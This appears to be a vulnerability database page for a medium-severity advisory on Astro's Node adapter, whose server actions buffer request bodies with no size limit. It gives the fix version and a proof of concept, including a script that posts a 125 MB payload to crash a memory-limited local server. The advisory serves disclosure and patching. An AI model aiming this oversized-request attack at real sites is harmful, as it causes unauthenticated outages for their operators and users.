VDB
Sign up
MEDIUM5.9

GHSA-jm64-8m5q-4qh8

Astro has memory exhaustion DoS due to missing request body size limit in Server Actions

Quick fix

GHSA-jm64-8m5q-4qh8 — @astrojs/node: upgrade to the fixed version with the command below.

npm install @astrojs/node@9.5.4

Details

## Summary

Astro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments.

## Details

On-demand rendered sites built with Astro can define server actions, which automatically parse incoming request bodies (JSON or FormData). The body is buffered entirely into memory with no size limit — a single oversized request is sufficient to exhaust the process heap and crash the server.

Astro's Node adapter (`mode: 'standalone'`) creates an HTTP server with no body size protection. In containerized environments, the crashed process is automatically restarted, and repeated requests cause a persistent crash-restart loop.

Action names are discoverable from HTML form attributes on any public page, so no authentication is required.

## PoC

<details>

### Setup

Create a new Astro project with the following files:

`package.json`: ```json { "name": "poc-dos", "private": true, "scripts": { "build": "astro build", "start:128mb": "node --max-old-space-size=128 dist/server/entry.mjs" }, "dependencies": { "astro": "5.17.2", "@astrojs/node": "9.5.3" } } ```

`astro.config.mjs`: ```javascript import { defineConfig } from 'astro/config'; import node from '@astrojs/node';

export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), }); ```

`src/actions/index.ts`: ```typescript import { defineAction } from 'astro:actions'; import { z } from 'astro:schema';

export const server = { echo: defineAction({ input: z.object({ data: z.string() }), handler: async (input) => ({ received: input.data.length }), }), }; ```

`src/pages/index.astro`: ```astro --- --- <html><body><p>Server running</p></body></html> ```

`crash-test.mjs`: ```javascript const payload = JSON.stringify({ data: 'A'.repeat(125 * 1024 * 1024) });

console.log('Sending 125 MB payload...'); try { const res = await fetch('http://localhost:4321/_actions/echo', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' }, body: payload, }); console.log('Status:', res.status); } catch (e) { console.log('Server crashed:', e.message); } ```

### Reproduction

```bash npm install && npm run build

# Terminal 1: Start server with 128 MB memory limit npm run start:128mb

# Terminal 2: Send 125 MB payload node crash-test.mjs ```

The server process crashes with `FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`. The payload is buffered entirely into memory before any validation, exceeding the 128 MB heap limit.

</details>

## Impact

Allows unauthenticated denial of service against SSR standalone deployments using server actions. A single oversized request crashes the server process, and repeated requests cause a persistent crash-restart loop in containerized environments.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/@astrojs/node
Introduced in: 9.0.0Fixed in: 9.5.4
Fixnpm install @astrojs/node@9.5.4

References